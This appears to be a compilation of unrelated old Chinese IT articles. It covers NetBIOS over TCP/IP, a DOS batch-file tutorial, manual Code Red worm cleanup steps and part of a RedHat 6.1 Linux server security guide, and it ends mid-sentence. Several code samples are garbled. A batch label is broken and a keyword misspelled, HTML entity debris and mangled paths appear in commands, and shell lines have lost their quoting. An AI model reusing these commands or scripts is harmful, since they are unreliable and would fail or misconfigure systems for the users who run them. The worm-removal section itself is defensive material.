因为基于TCP/IP使用NetBIOS时要使用到TCP/IP，用户必须将安全性考虑在内，这一点十分重要，不然出了问题不好办。如果用户现在使用的是Windows 95，他可能会注意到没有什么基于TCP/IP的NetBIOS，只有一个NetBEUI选项，这是因为用户没有安装TCP/IP协议，在用户安装了TCP/IP之后，就会自动出现基于TCP/IP的NetBIOS。这时，出于安全性的考虑，在网络配置中的TCP/IP一项上请不要选择文件和打印机共享。能否将OS/2作为SMB客户连接到Windows NT或Windows for Workgroups上呢？这当然是可以的，OS/2 Warp 4和Warp Connect能够和NT以及Workgroup等其它微软产品通信，在OS/2 Warp 4中就内建了TCP/IP，NETBEUI和IPX，随着用户的需要也可以再添加新的协议，OS/2 Warp 4中还内建了一个程序称为“IBM文件和打印客户”请，大家注意这个程序的使用。如果用户没有Warp 4或Warp Connect，那么使用免费的Microsoft LAN Manager Client for OS/2也可以达到同样的目的。最后我们说一下如何使MSIPX协议和NT或NetWare服务器连接。基于IPX的NETBIOS也称为IPXBEUI或MSIPX，在OS/2 Warp 4和Warp Connect中，用户可以找到基于IPX的NetWare NetBIOS仿真，这就可以了。


使用批处理文件

    echo、@、call、pause、rem　是批处理文件最常用的几个命令，我们就从他们开始学起。 echo 表示显示此命令后的字符
echo off 表示在此语句后所有运行的命令都不显示命令行本身
@ 与echo off相象，但它是加在其它命令行的最前面，表示运行时不显示命令行本身。
call 调用另一条批处理文件（如果直接调用别的批处理文件 ，执行完那条文件后将无法执行当前文件后续命令）
pause 运行此句会暂停，显示Press any key to continue... 等待用户按任意键后继续
rem 表示此命令后的字符为解释行，不执行，只是给自己今后查找用的

    例：用edit编辑a.bat文件，输入下列内容后存盘为c:\a.bat，执行该批处理文件后可实现：将根目录中所有文件写入 a.txt中，启动UCDOS，进入WPS等功能。

    批处理文件的内容为: 　　　　　　　　文件表示：

        echo off　　　　　　　　　　　　不显示命令行

        dir c:\*.* >a.txt　　　　　　　将c盘文件列表写入a.txt

        call c:\ucdos\ucdos.bat　　　　调用ucdos

        echo 你好 　　　　　　　　　　　显示"你好"

        pause 　　　　　　　　　　　　　暂停,等待按键继续

        rem 使用wps 　　　　　　　　　　注释将使用wps

        cd ucdos　　　　　　　　　　　　进入ucdos目录

        wps 　　　　　　　　　　　　　　使用wps

    批处理文件中还可以像C语言一样使用参数，这只需用到一个参数表示符%。

     %表示参数，参数是指在运行批处理文件时在文件名后加的字符串。变量可以从 %0到%9，%0表示文件名本身，字符串用%1到%9顺序表示。

    例如，C：根目录下一批处理文件名为f.bat，内容为 format %1

    则如果执行C:\>f a: 　　　则实际执行的是format a:

    又如C：根目录下一批处理文件的名为t.bat，内容为 type %1 type %2

    那么运行C:\>t a.txt b.txt 将顺序地显示a.txt和b.txt文件的内容 。

    if goto choice for　是批处理文件中比较高级的命令，如果这几个你用得很熟练，你就是批处理文件的专家啦。

if 表示将判断是否符合规定的条件，从而决定执行不同的命令。 有三种格式:
1、if "参数" == "字符串" 　待执行的命令
参数如果等于指定的字符串，则条件成立，运行命令，否则运行下一句。(注意是两个等号）
如if "%1"=="a" format a:

2、if exist 文件名　 待执行的命令
如果有指定的文件，则条件成立，运行命令，否则运行下一句。如if exist config.sys edit config.sys

3、if errorlevel 数字　 待执行的命令
如果返回码等于指定的数字，则条件成立，运行命令，否则运行下一句。如if errorlevel 2 goto x2 　DOS程序运行时都会返回一个数字给DOS，称为错误码errorlevel或称返回码

goto 批处理文件运行到这里将跳到goto 所指定的标号处， 一般与if配合使用。 如:

goto end

:end
echo this is the end

标号用 :字符串 表示，标号所在行不被执行

choice 使用此命令可以让用户输入一个字符，从而运行不同的命令。使用时应该加/c:参数，c:后应写提示可输入的字符，之间无空格。它的返回码为1234……

如: choice /cme defrag,mem,end
将显示
defrag,mem,end[D,M,E]?

例如，test.bat的内容如下:
@echo off
choice /cme defrag,mem,end
if errorlevel 3 goto defrag 应先判断数值最高的错误码
if errorlevel 2 goto mem
if errotlevel 1 goto end

efrag
c:\dos\defrag
goto end

:mem
mem
goto end

:end
echo good bye

此文件运行后，将显示 defrag,mem,end[D,M,E]? 用户可选择d m e ，然后if语句将作出判断，d表示执行标号为defrag的程序段，m表示执行标号为mem的程序段，e表示执行标号为end的程序段，每个程序段最后都以goto end将程序跳到end标号处，然后程序将显示good bye，文件结束。

for 循环命令，只要条件符合，它将多次执行同一命令。

格式FOR [%%f] in (集合) DO [命令]
只要参数f在指定的集合内，则条件成立，执行命令

如果一条批处理文件中有一行:
for %%c in (*.bat *.txt) do type %%c
含义是如果是以bat或txt结尾的文件，则显示文件的内容。


手工清除红色代码的方法

    1、将机器从网络上断开，以避免重复感染和感染其它机器；
    2、立即停止IIS服务。打开控制面板，打开"服务"，点击World Wide Web Publishing Service. 选择"已禁用"；
    3、按Ctrl+Alt+Delete，选择“任务管理器” 选择“进程”标签 ，检查是否进程中有两个"exploer.exe"。如果您找到两个"exploer.exe"，说明木马已经在您的机器上运行了，您应当立刻杀掉木马程序；否则，说明您还没有执行木马程序，您可以转到第（5）步；
    4、在“任务管理器”菜单中选择：查看->选定列->线程计数，按确定。这时您会发现显示框中增加了新的一列"线程数"。检查两个"exploer.exe",显示只有一个线程的"exploer.exe "就是木马程序。您应当立刻结束这个进程；
    5、重新启动系统，运行cmd，在cmd窗口中运行以下命令（或下载批处理文件　ftp://ftp.ccert.edu.cn/pub/clean.bat），以删除蠕虫病毒留下的后门：
     C:
     CD C:\
     ATTRIB -h -s -r explorer.exe
     Del explorer.exe
     Del C:\inetpub\scripts\root.exe
     Del C:\progra~1\Common~1\System\MSADC\Root.exe
     D:
     CD D:\
     Attrib -h -s -r explorer.exe
     Del explorer.exe
     Del D:\inetpub\scripts\root.exe
     Del D:\progra~1\Common~1\System\MSADC\Root.exe
     忽略其中任何错误。
    6、修改被蠕虫改动过的注册表：
    （1）运行regedit
    （2）选择HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\ Services\W3SVC\Parameters\Virtual Roots；
    （3）选择/C,选择删除；
    （4）选择/D, 选择删除;
    （5）选择/MSADC，将217换为201；
    （6）选择/scripts，将271换为201；
     注：对于Windows 2000，要打开HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\WinLogon将SFCDisable改为0；
    7、重新启动系统；
    8、执行步骤4，给系统打补丁


熟悉Linux系统安全和优化

作者：brimmer
来源：天极网

第一章：介绍Linux

什么是Linux?

Linux是一个操作系统。最初它是由在芬兰赫尔辛基大学念书的Linus Torvalds作为一种业余爱好开发出来的。Linus对用于教学的一种小型的Unix操作系统-Minix很感兴趣，决定开发出超过Minix的操作系统。在1991年，他开始Linux的开发，那时候的Linux是0.02版。到了1994年，Linux内核的1.0版发布了。现在稳定的Linux内核版本是2.2版，开发工作还在继续进行。

Linux的开发是遵循GPL的，它的源代码任何人都可以免费获得。但是这并不是说Linux以及Linux的发行版本是免费的。只要源代码保持公开，开发人员是可以要求获得适当的报酬。Linux可以用在很多方面，包括：网络、软件开发和桌面平台。Linux常被认为是其它昂贵的操作系统的替代品。

因为Linux操作系统的稳定和健壮，以及很容易得到，它在世界上越来越流行。成千上万的程序员在根据自己的需要利用Linux的源代码。现在，有很多正在进行中的项目尝试着把Linux移植到不同的硬件平台上，或把Linux用于其它的用途。

为什么要用Linux

首先，它是免费的。尽管Linus Torvalds拥有Linux的商标。Linux的内核和相关的软件是遵循GPL的。这意味着你可以更改源代码，并靠买程序获利，但是最初的作者拥有版权而且你必须公布修改过的源代码。

尽管Linux在基于Intel平台的计算机上最流行，但是相对其它操作系统，它可以运行在更多的CPU和硬件平台上。其原因是：除了拥有很多天才的开发人员之外，Linux是带着源代码一起发行的，而且它的内核是可移植的。

现在软件和硬件行业的趋势是让用户去买更快的计算机，不断地扩充内存和增加硬盘空间。Linux并不受这些“增肥”趋势的影响，它甚至可以在内存不是很多的486计算机上运行得很好。

Linux很少死机，你可以停止那些有问题的进程，而让操作系统正常地运行下去。而且，Linux用的是最先进的内存管理技术，不会让你的操作系统失去控制，也根本不要经常重启操作系统。

如果需要安装的是一个服务器操作系统，那么Linux是有很多优势的，特别是比起其它操作系统，如Windows 2000，要便宜得多了。还有一个优点是：Linux几乎不受病毒的攻击。因为遵循GPL和开放源代码，基本上你可以获得操作系统以及操作系统上所有软件的源代码。

让我们排除对使用Linux的一些害怕和疑虑

Linux不过是一个象玩具一样的操作系统

Linux正被越来越多的Fortune 5000的企业、政府部门和消费者所采用。不信的话，去问一问IBM、Compaq、Dell、Apple Computer、Burlington Coast Factory、Amtrak、Virginia Power、NASA或成百上千万的Linux用户吧。

Linux没有技术支持

尽管有不少人认为Linux是没有技术支持的操作系统，但是每个Linux的发行版都提供12,000多页的文档。Linux的商业发行版，例如：RedHat Linux、Caldera、SuSE 和OpenLinux给注册用户提供安装支持，小企业和公司可以得到一些商业技术支持公司的服务支持。作为一个开放源代码的操作系统，你可以得到Linux的全部源代码。如果你遇到一些问题而且自己有解决问题的能力，就自己解决吧！不用为了得到技术支持等上很长的时间，许多严重的问题（如系统安全问题）可以在Internet上的Linux社团的帮助下几个小时内解决。

第二章：安装Linux服务器

了解你的硬件环境

了解硬件环境是成功安装RedHat Linux的关键。因此，必须用一些时间熟悉一下自己的硬件环境。准备好回答如下的问题：

1. 计算机上有几个硬盘？
2. 每个硬盘的大小?
3. 如果有两个以上的硬盘，哪一个是主盘？
4. 内存有多大？
5. 计算机上有SCSI卡吗？如果有，型号是什么？由哪家公司生产的？
6. 鼠标是什么类型的（串口，还是PS/2）？
7. 鼠标有几个键？
8. 如果是串口鼠标，那么连在哪个串口上？
9. 显卡的产商和型号，有多少显存？
10. 显示器的产商和型号？
11. 如果想把计算机连接到网络上，请再注意下面几个问题：
a) 计算机的IP地址？
b) 网络掩码？
c) 网关地址？
d) 域名服务器的地址？
e) 域名？
f) 主机名？
g) 网卡型号和厂商？

创建启动盘，引导Linux

如果你安装过很多次Linux，结果都失败了，那么可能需要一个修正过的软盘镜像。在这种情况下，可以去RedHat Linux的勘误网站去下载特殊的软盘镜像。

因为这是很少见的情况，应该尽可能地先试一下标准的安装软盘，只有在实在不能完成安装的情况下，才有必要去勘误网站看看。RedHat 6.1的光盘可以从光驱直接启动。如果你的计算机不支持直接启动，那么也可以在MS-DOS下创建启动盘，请用下面的命令（假定CD-ROM的盘符是d:，里面放的是RedHat Linux 6.1的光盘）：

在windows下打开MS-DOS方式（开始 | 程序 | MS-DOS方式）：
C:$#@62; d:
D:$#@62; cd dosutils
D:dosutils$#@62; rawrite
Enter disk image source file name: ..imagesoot.img
Enter target diskette drive: a:
Please insert a formatted diskette into drive A: and press --ENTER-- :
D:dosutils$#@62;

当rawrite.exe要求输入软盘镜像的时候，输入完整的boot.img的路径名，把软盘插入A驱。当程序问你把镜像写入哪个软盘驱动器的时候，输入a:。

RedHat Linux的勘误网站是：http://www.redhat.com/errata。

因为我们不从CD-ROM启动，而从软盘启动安装，所以把软盘插入A:驱，然后重新启动计算机。当出现boot:的时候，按下回车键，继续引导。
* 选择语言
* 选择键盘类型
* 选择鼠标类型

安装类型和方法

RedHat Linux 6.1有以下几种安装类型：
* GNOME工作站
* KDE工作站
* 服务器
* 自定义

有些安装类型（GNOME工作站、KDE工作站和服务器），简化了安装过程，但是失去了很多灵活性。

因此，我们建议你选择“自定义”安装，这样你可以选择安装什么服务器软件以及如何划分你的硬盘。我们的目标是安装尽可能少的软件，以保证系统的高效率。而且，安装的软件越少，安全漏洞也就越少。

选择“Custom”，继续安装。

创建分区

警告

我们强烈建议在分区之前，先备份你当前的系统。为了保证系统高效、稳定和安全，我们还建议你象下面介绍的那样分区。我们这样分区是假定你要配置一个Web和Proxy服务器。

之所以在分区中有两个特殊的“/chroot”和“/cache”分区是因为：“/chroot”分区是为DNS服务器、Apache服务器和其它需要改变根目录的（chrooted）服务器准备的；“/cache”分区是为Squid Proxy服务器准备的。如果你不打算安装Squid Proxy服务器，那么不必创建“/cache”分区，但是请注意：Squid+Apache的结合会把服务器的性能和安全提高很多。

如果想让数量比较多的用户访问你的服务器，必须把“/tmp”和“/home”放在不同的分区上，这几乎是强制的。这样做可以避免分区被一些用户文件填满。把“/var”和“/usr”放在不同的分区也是一个好主意。使“/var”和其它分区分开也可以避免分区被填满。

在我们的分区安排中，特别保留了400MB的磁盘空间给改变根目录的（chrooted）程序，比如：Apache、DNS以及其它软件。这是必须的，因为Apache的DocumentRoot文件和其它可执行的程序都会被安装在这个分区上。注意：Apache chrooted目录在“/chroot”分区上的大小是和“DocumentRoot”文件的大小成正比的。如果不准备安装和使用Apache，可以把分区大小减小到10M，这10M是DNS服务器所必需的。

最小的分区要求

下面是Linux能够正常运行的最小分区要求。这样的分区安排甚至可以适用于只有512MB硬盘的老式486计算机机。当然，这种分区安排只是一个建议。
/ 35MB
/boot 5MB
/chroot 10MB
/home 100MB
/tmp 30MB
/usr 232MB
/var 25MB

Disk Druid分区工具

Disk Druid是RedHat Linux带的一个分区工具。选择“Add”添加新的分区，“Edit”改变分区，“Delete"删除分区，“Reset”恢复原来的分区状态。在添加一个新分区的时候，会出现一个窗口，要求你添上有关这个分区的一些必要的信息。要求添的信息是：
* Mount Point: 分区装载（mount）的目录
* Size: 分区的大小，以兆为单位
* Partition Type: 分区类型。Linux的文件系统要使用Linux native类型的分区，Linux交换分区请用Linux Swap类型。

如果你有一个SCSI硬盘，那么这个设备的名称将是“/dev/sda”；如果你有一个IDE硬盘，那么这个设备名称将是“/dev/hda”。如果很在意系统的高性能和稳定性，我们建议你用SCSI硬盘。

Linux分区的命名方式是字母和数字相结合的，这种命名方式很灵活也很直观。下面是一个小小的总结：
* 前两个字母：前两个字母表示设备类型，“hd”代表IDE硬盘，“sd”表示SCSI硬盘
* 第三个字母：这个字母是说明具体的设备。例如：“/dev/hda”表示第一个IDE硬盘；“/dev/hdb”表示第二个IDE硬盘。

请记住这些，这样给Linux分区的时候，会觉得容易一些也不会混淆。

交换分区

交换分区是用于虚拟内存的。如果计算机的内存少于16M，你必须创建交换分区。即使有更多的内存，我们还是建议你建立交换分区。交换分区最小必须等于计算机的内存，如果内存多于16M，最小只要16M就行了。交换分区最大大约为1GB，（Linux 2.2内核现在可以支持1GB的交换文件，如果多于1GB就是浪费）。注意：可以创建多于一个的交换分区，尽管只有在安装大型服务器的时候才有这个必要。尽量把交换分区放在硬盘驱动器的起始位置，因为一个磁盘的起始位置在物理上是在最外的柱面上，所以磁头每转一圈可以覆盖更大的面积。

下面是一个例子，教你怎么建立分区（这样的分区安排是安装我们在书中介绍的服务器所需要的），下面的例子是用Disk Druid的命令：

Add
Mount Point: /boot our /boot directory
Size (Megs): 5
Partition Type: Linux Native
Ok

Add
Mount Point: /usr our /usr directory.
Size (Megs): 1000
Partition Type: Linux Native
Ok

Add
Mount Point: /home our /home directory.
Size (Megs): 500
Partition Type: Linux Native
Ok

Add
Mount Point: /chroot our /chroot directory.
Size (Megs): 400
Partition Type: Linux Native
Ok

Add
Mount Point: /cache our /cache directory.
Size (Megs): 400
Partition Type: Linux Native
Ok

Add
Mount Point: /var our /var directory.
Size (Megs): 200
Partition Type: Linux Native
Ok

Add
Mount Point: our /Swap partition (leave the Mount Point Blank).
Size (Megs): 150
Partition Type: Linux Swap
Ok

Add
Mount Point: /tmp our /tmp directory.
Size (Megs): 100
Partition Type: Linux Native
Ok

Add
Mount Point: / our / directory.
Size (Megs): 316
Partition Type: Linux Native
Ok

分区完毕之后，你可以在屏幕上看到类似的信息：

Mount Point Device Requested Actual Type
/boot sda1 5M 5M Linux Native
/usr sda5 1000M 1000M Linux Native
/home sda6 500M 500M Linux Native
/chroot sda7 400M 400M Linux Native
/cache sda8 400M 400M Linux Native
/var sda9 200M 200M Linux Native
Swap sda10 150M 150M Linux Swap
/tmp sda11 100M 100M Linux Native
/ sda12 316M 315M Linux Native

Drive Geom [C/H/S] Total (M) Free (M) Used (M) Used (%)
sda [3079/64/32] 3079M 1M 3078M 99%

现在，选择“Next”继续安装。分区创建完之后，安装程序会让你格式化分区。选择想要格式化的分区，选中“Check for bad blocks during format”选择框，按“Next”继续。这样就开始格式化分区，并且激活分区。Linux就可以使用这个分区了。

下一步如果选择安装LILO，你会看到LILO的配置。可以选择把LILO装在主引导扇区（MBR），或引导分区的第一个扇区。

在通常情况下，应该选择把LILO安装在主引导扇区。（如果你的计算机上装有NT，或一些多重引导程序，如System Command，你最好仔细看一遍LILO-HOWTO，以免不必要的损失）。然后，开始配置网络和时钟。接着，要输入root口令和进行安全验证的配置。不要忘了选上：
* Enable MD5 passwords
* Enable MD5 passwords
没有必要选择Enable NIS，因为我们不在这台服务器上安装NIS服务。

启动和停止daemon服务

init是内核在引导的时候运行的程序。它负责管理那些在引导的时候要启动的进程。这些进程包括：Apache daemon、网络daemon和其它你想在引导时运行的进程。

那么init是怎么启动和停止服务呢？每一个启动脚本都有可以接受一个参数，参数的值为：“start”或“stop”。这些脚本在“/etc/rc.d/init.d/”目录下。你也可以手工运行这些脚本，用类似下面的命令：

例如：
* 在Linux上手工启动httpd Web服务器。
[root@deep]# /etc/rc.d/init.d/httpd start
* 停止httpd Web服务器
root@deep]# /etc/rc.d/init.d/httpd stop
可以在“/etc/rc.d/init.d/”目录下查看一下有什么服务，然后，用参数“start”或“stop”，启动或停止服务。

安装完服务器之后必须卸载的软件

RedHat Linux在默认情况下会安装一些预置的软件，而且在安装的过程中，不能够选择不安装。因此，必须在安装完成之后卸载下面这些软件：

pump
apmd
isapnptools
redhat-logos
mt-st
kernel-pcmcia-cs
setserial
redhat-release
eject
linuxconf
kudzu
gd
Bc
getty_ps
raidtools
pciutils
mailcap
setconsole
gnupg

用下面的rpm命令卸载这些软件：

[root@deep]# rpm -e softwarenames

softwarename在这里指的是软件包的名字，如：foo。
apmd、kudzu和sendmail是daemon进程，在卸载它们之前最好先停止这些进程。
停止这些进程用如下的命令：

[root@deep]# /etc/rc.d/init.d/apmd stop
[root@deep]# /etc/rc.d/init.d/sendmail stop
[root@deep]# /etc/rc.d/init.d/kudzu stop

现在你可以象卸载其它程序那样卸载它们，步骤如下：

第一步

卸载这些软件包。
[root@deep]# rpm -e pump mt-st eject bc mailcap apmd kernel-pcmcia-cs linuxconf getty_ps setconsole isapnptools setserial kudzu raidtools gnupg redhat-logos redhat-release gd pciutils

第二步

手工删除linux.conf-installed文件。
[root@deep]# rm -f /etc/conf.linuxconf-installed
注意：这是和linuxconf程序相关的的配置文件，必须手工删除。

如果你有IDE硬盘，hdparm程序是必须要的，所以一定要保留下来。否则，你可以把它从硬盘中卸载掉。

kdbconfig、mouseconfig和timeconfig是用来设置键盘类型、鼠标类型和时区的。在这些都设置好之后，就很少有机会再用到它们了。所以，可以把它们卸载掉。等需要改变键盘、鼠标和时区的时候，可以再从CD-ROM用rpm命令安装。

sendmail、procmail和mailx在通常情况下是必须要的。因为服务器上运行的各种各样的服务会用这些程序发消息给root用户，以建立系统日志（syslog）。

sendmail是一个强大的邮件传送代理（Mail Transport Agent，简称MTA），可以把邮件从一台计算机发送到另一台计算机。它实际上所起的作用就是通过网络或Internet把email传送到email的目的地。sendmail有很多不同的配置方式：可以做为一个把邮件转给邮件集中服务器（Mail Hub Server）的内部邮件服务器，也可以做为单独的mail服务器，或者做为网络上所有sendmail服务器的中央邮件集中服务器（Central Mail Hub Server）。因此，可以根据需要配置不同的sendmail服务器。所以，你要先把sendmail卸载掉，参考本书sendmail的配置和安装的相关章节，根据需要建立自己的sendmail服务器。

sendmail并不是自己处理邮件的分发，它是通过运行其它程序来完成这项工作。procmail是RedHat Linux用于本地邮件分发的分发代理（delivery agent）。因此，procmail只要装在中央邮件集中服务器（Central Mail Hub Server）上就行了。所以，没有必要在内部所有运行sendmail服务的计算机上都安装procmail程序。因为，这些内部的计算机会通过“/bin/mail”或sendmail把邮件转发到中央邮件集中服务器上。

Pump DHCP（Dynamic Host Configuration Protocol）和BOOTP（Boot Protocol）协议允许在IP网络上的设备，从服务器上获取它们的网络配置信息（IP地址、子网掩码、广播地址，等等）。【没有必要】

mt-st软件包包括mt和st磁带机驱动管理程序。mt（用于磁性磁带驱动器（magnetic tape drivers））和st（用于SCSI磁带驱动器）可以控制磁带的回卷、弹出、跳过文件或块以及其它。【没有必要】

eject程序允许用户用软件弹出可移动的介质，如：CD-ROM、软盘以及Jaz或Zip盘。【没有必要】

bc软件包包括：bc和dc两个应用程序，bc是一种非常精确的用于处理算术运算的语言。dc是基于堆栈的交互式计算器，是用在文本模式下的。【没有必要】

mailcap文件是用于metamail程序的。metamail通过读mailcap文件来确定怎么显示非文本的和多媒体的邮件信息。【没有必要】

apmd是高级能源管理（Advanced Power Management）daemon和实用工具。它可以监控笔记本电脑的电池使用情况。当电池电压过低的时候，它会给出警告。【没有必要】

所有支持PCMCIA的笔记本电脑都要用到kernel-pcmcia-cs软件包。PCMCIA卡是很小的卡片，可以是SCSI卡或是modem。【没有必要】

linuxconf是非常好的系统配置工具。linuxconf提供四种界面供你选择：命令行、文本菜单、X Window的图形界面和基于Web的界面。【没有必要，有bug的程序】

getty_ps软件包包括getty和uugetty两个程序，这两个程序是RedHat Linux系统中实现进程登录的基本程序。getty和uugetty是用于接受控制台或终端的登录请求。【没有必要】

setconsole是基本的系统工具，用在为一个新的控制台创建/etc/inittab、/dev/systty和/dev/console文件。控制台可以是本地的终端（直接通过显示卡连接到系统上）或是通过串口连接的控制台。【没有必要】

ispnptools软件包包括用于配置ISA接口的即插即用（Plug-and-Play）卡，符合PnP ISA Specification 1.0a标准。【没有必要】

kudzu是系统引导的时候运行的硬件探测程序，可以检测到哪些硬件从系统中删除或添加到系统中。【没有必要】

raidtools软件包包括在Linux系统中建立和维护软件RAID（磁盘阵列，用于容错和提高性能，需要两个以上的磁盘）。【取决于你用不用RAID】

GnuPG是GNU的数据通讯和存储的安全工具。它可以用来加密数据和创建数字签名。包括高级的密匙管理工具，而且遵循RFC2440中描述的OpenPGP的国际标准。【我们会在后面的章节介绍如何自己编译】

redhat-logos包括RedHat “Shawdow Man”和RPM的标志图片。【没有必要】

redhat-release是RedHat Linux的发行文件。【没有必要】

gd是处理gif文件的图形函数库。gd可以用于显示图像（线条、弧、文本、多种颜色、从其它图像中剪切和粘贴、填充），并把结果保存为gif文件。【没有必要】

pciutils包括各种各样的工具，用于检测和设置连接到PCI总线上的设备。【我们用其它的方法】

kbdconfig是文本模式的程序，提供了设置键盘映像的一个简单的界面。【没有必要】

mousconfig是基于文本模式的鼠标设置程序。mouseconfig在RedHat Linux系统中，创建配置和使用鼠标所需要的文件和链接。【没有必要】

timeconfig包括：timeconfig和setclock。timeconfig提供了一个简单的文本模式的工具，用来配置/etc/sysconfig/clock和/etc/localtime中的时间参数。【没有必要】

procmail是RedHat Linux用于处理本地邮件发送的程序。除了发送邮件，procmail还可以用于自动过滤、排序和其它处理mail的工作。而且，procmail是SmartList邮件列表程序的基础。【只用在邮件集中服务器上】

安装完服务器之后必须安装的软件

为了可以在你的服务器上编译软件，你还必须安装下面的RPM软件包。这部分安装是非常重要的，要求你安装所有如下所述的软件包。所有的这些软件都在RedHat 6.1第一张光盘的/RedHat/RPMS目录下，而且都是使你的Linux系统能够编译程序所必须要的。

* 第一步

首先，先mount 上CD-ROM驱动器，转到RPMS子目录下。
mount CD-ROM驱动器和转到RPMS目录用下面的命令：

[root@deep]# mount /dev/cdrom /mnt/cdrom/
[root@deep]# cd /mnt/cdrom/RedHat/RPMS/

下面是我们需要安装的软件包，只有安装了这些软件包才在Linux系统上编译程序。记住这不过是能够编译.tar.gz软件最少必须的软件包。有一些软件的编译可能还需要用到别的特殊的软件包。这些特殊的软件包在RedHat的光盘中都能找到。所以，编译程序的时候，如果出错了，可以先看看需要编译的软件包的README文件。

autoconf-2.13-5.noarch.rpm
m4-1.4-12.i386.rpm
automake-1.4-5.noarch.rpm
dev86-0.14.9-1.i386.rpm
bison-1.28-1.i386.rpm
byacc-1.9-11.i386.rpm
cdecl-2.5-9.i386.rpm
cpp-1.1.2-24.i386.rpm
cproto-4.6-2.i386.rpm
ctags-3.2-1.i386.rpm
egcs-1.1.2-24.i386.rpm
ElectricFence-2.1-1.i386.rpm
flex-2.5.4a-7.i386.rpm
gdb-4.18-4.i386.rpm
kernel-headers-2.2.12-20.i386.rpm
glibc-devel-2.1.2-11.i386.rpm
make-3.77-6.i386.rpm
patch-2.5-9.i386.rpm

注意：最好把这些软件一起全装了，省得在安装这些RPM包的时候总出现一些相关出错的信息。

* 第二步

安装所有这些软件只要用一个命令就够了。这个命令是：

[root@deep]# rpm -Uvh autoconf-2.13-5.noarch.rpm m4-1.4-12.i386.rpm automake-1.4-5.noarch.rpm dev86-0.14.9-1.i386.rpm bison-1.28-1.i386.rpm byacc-1.9-11.i386.rpm cdecl-2.5-9.i386.rpm cpp-1.1.2-24.i386.rpm cproto-4.6-2.i386.rpm ctags-3.2-1.i386.rpm egcs-1.1.2-24.i386.rpm ElectricFence-2.1-1.i386.rpm flex-2.5.4a-7.i386.rpm gdb-4.18-4.i386.rpm kernel-headers-2.2.12-20.i386.rpm glibc-devel-2.1.2-11.i386.rpm make-3.77-6.i386.rpm patch-2.5-9.i386.rpm

* 第三步

为了让所有的改变都生效，必须退出再重新登录。退出的命令是：

[root@deep]# exit

安装和编译完在服务器上需要的所有软件之后，最好把上面几步安装的软件包都卸掉，除非有什么特殊的需要。这样做，其中一个原因是：如果黑客成功地入侵了你的服务器，他也不可能用上面这些软件来编译软件或改变二进制程序。同时，把它们卸载掉也释放了很多磁盘空间，这样当进行系统的安全性和一致性检查的时候，可以加快扫描所有文件的时间（文件少了）。

当然，有很多建立服务器的方法和策略，我在这本书中介绍的不过是我自己的观点，我的观点如下：

第一：每台服务器最好只安排一个特定的任务。你不应该把所有的服务都放在一台服务器上，否则，这台服务器的速度会受到影响（系统的资源要同时分给很多个进程），而且会降低系统的安全（在同一台服务器上运行太多的服务，黑客就有更多的机会找到系统的安全漏洞）。

第二：不同的服务器完成不同的任务。这样有利于简化管理（你可以清楚地知道每台服务器具体的用途、运行哪些服务、客户计算机（client）可以访问哪些端口，你也可以知道在日志文件中会看到什么，等等），而且还可以更好更灵活地控制每台服务器（专门用于邮件、Web、数据库、开发、备份，等等）。

举一个例子，一台专门用作开发和测试的服务器，就没有必要象上面介绍的那样，每一次装软件之前都要先装编译器，装完软件之后又把编译器卸掉，完全可以把编译器保留着。如果想知道更多的编译器的信息，请参考第八章《编译器的功用》。

服务器上已经安装的程序

因为我们选择定制安装我们的Linux系统， 下面是服务器上已安装的程序列表。这个列表必须和/tmp目录下的install.log文件一致，否则你就是没装全。不要忘了装全上一节《安装完服务器之后必须安装的软件》中的那些软件包，不然你编译一些程序的时候就会遇到问题。

Installing setup.
Installing filesystem.
Installing basesystem.
Installing ldconfig.
Installing glibc.
Installing shadow-utils.
Installing mktemp.
Installing termcap.
Installing libtermcap.
Installing bash.
Installing MAKEDEV.
Installing SysVinit.
Installing XFree86-SVGA.
Installing chkconfig.
Installing apmd.
Installing arpwatch.
Installing ncurses.
Installing info.
Installing fileutils.
Installing grep.
Installing ash.
Installing at.
Installing authconfig.
Installing bc.
Installing bdflush.
Installing binutils.
Installing bzip2.
Installing sed.
Installing console-tools.
Installing e2fsprogs.
Installing rmt.
Installing cpio.
Installing cracklib.
Installing cracklib-dicts.
Installing crontabs.
Installing textutils.
Installing dev.
Installing diffutils.
Installing ed.
Installing eject.
Installing etcskel.
Installing file.
Installing findutils.
Installing gawk.
Installing gd.
Installing gdbm.
Installing getty_ps.
Installing glib.
Installing gmp.
Installing gnupg.
Installing gpm.
Installing groff.
Installing gzip.
Installing hdparm.
Installing initscripts.
Installing ipchains.
Installing isapnptools.
Installing kbdconfig.
Installing kernel.
Installing kernel-pcmcia-cs.
Installing kudzu.
Installing ld.so.
Installing less.
Installing libc.
Installing libstdc++.
Installing lilo.
Installing pwdb.
Installing pam.
Installing sh-utils.
Installing redhat-release.
Installing linuxconf.
Installing logrotate.
Installing losetup.
Installing lsof.
Installing mailcap.
Installing mailx.
Installing man.
Installing mingetty.
Installing mkbootdisk.
Installing mkinitrd.
Installing modutils.
Installing mount.
Installing mouseconfig.
Installing mt-st.
Installing ncompress.
Installing net-tools.
Installing netkit-base.
Installing newt.
Installing ntsysv.
Installing passwd.
Installing pciutils.
Installing perl.
Installing procmail.
Installing procps.
Installing psmisc.
Installing pump.
Installing python.
Installing quota.
Installing raidtools.
Installing readline.
Installing redhat-logos.
Installing rootfiles.
Installing rpm.
Installing sash.
Installing sendmail.
Installing setconsole.
Installing setserial.
Installing setuptool.
Installing shapecfg.
Installing slang.
Installing slocate.
Installing stat.
Installing sysklogd.
Installing tar.
Installing tcp_wrappers.
Installing tcpdump.
Installing tcsh.
Installing time.
Installing timeconfig.
Installing timed.
Installing tmpwatch.
Installing traceroute.
Installing utempter.
Installing util-linux.
Installing vim-common.
Installing vim-minimal.
Installing vixie-cron.
Installing which.
Installing zlib.

给你的终端加点颜色

给终端加一点颜色，可以帮助区分目录、文件、设备、符号连接和可执行文件。我认为加上颜色可以让人少犯错误，并且可以让人感觉更好用。

编辑profile文件（vi /etc/profile）加入下面这些行：

# Enable Colour ls
eval dircolors /etc/DIR_COLORS -b
export LS_OPTIONS=-s -F -T 0 --color=yes
编辑bashrc文件（vi /etc/bashrc），加入下面这一行：
alias ls=ls --color=auto
退出，再重新登录，与颜色相关的环境变量就设定好了。

使你的软件保持最新的版本

为了使你的软件保持最新的版本，请定期查看RedHat Linux的勘误网页：http://www.redhat.com/corp/support/errata/index.html。勘误网页通常可以解决90% RedHat Linux的系统问题。而且，RedHat在得到安全漏洞的通知之后，如果已经找到解决方案了，就会在24小时之内，在勘误网站上发布出来。必须经常查看这个地方。RedHat Linux服务器现在必须更新的软件是：
